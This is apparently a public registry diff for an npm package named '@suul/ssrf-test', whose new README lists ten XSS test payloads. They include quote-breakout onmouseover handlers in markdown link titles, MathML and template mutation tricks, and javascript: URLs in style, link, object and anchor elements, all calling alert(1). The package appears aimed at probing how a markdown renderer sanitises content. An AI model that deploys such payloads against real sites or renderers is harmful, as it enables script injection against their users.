@suul/ssrf-test 1.0.4 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +30 -4
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,7 +1,33 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Advanced XSS Tests
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## T1: title breakout with single-quote inside double-quote
|
|
4
|
+
[t1](https://x.com "x' onmouseover='alert(1)")
|
|
4
5
|
|
|
5
|
-
##
|
|
6
|
+
## T2: title breakout swap quote styles
|
|
7
|
+
[t2](https://x.com 'x" onmouseover="alert(1)')
|
|
6
8
|
|
|
7
|
-
|
|
9
|
+
## T3: math element
|
|
10
|
+
<math><mi onmouseover="alert(1)">x</mi></math>
|
|
11
|
+
|
|
12
|
+
## T4: math with annotation-xml
|
|
13
|
+
<math><annotation-xml encoding="text/html"><img onload=alert(1)></annotation-xml></math>
|
|
14
|
+
|
|
15
|
+
## T5: template element
|
|
16
|
+
<template><script>alert(1)</script></template>
|
|
17
|
+
|
|
18
|
+
## T6: style element (CSS injection)
|
|
19
|
+
<style>a{color:red}*{background:url(javascript:alert(1))}</style>
|
|
20
|
+
|
|
21
|
+
## T7: link rel import
|
|
22
|
+
<link rel="stylesheet" href="javascript:alert(1)">
|
|
23
|
+
|
|
24
|
+
## T8: Nested HTML in markdown - does the renderer re-parse?
|
|
25
|
+
<p id="x">
|
|
26
|
+
## heading inside html block
|
|
27
|
+
</p>
|
|
28
|
+
|
|
29
|
+
## T9: mXSS via table nesting
|
|
30
|
+
<table><tr><td><a href="javascript:alert(1)">xss</a></td></tr></table>
|
|
31
|
+
|
|
32
|
+
## T10: object/embed
|
|
33
|
+
<object data="javascript:alert(1)">fallback</object>
|
package/package.json
CHANGED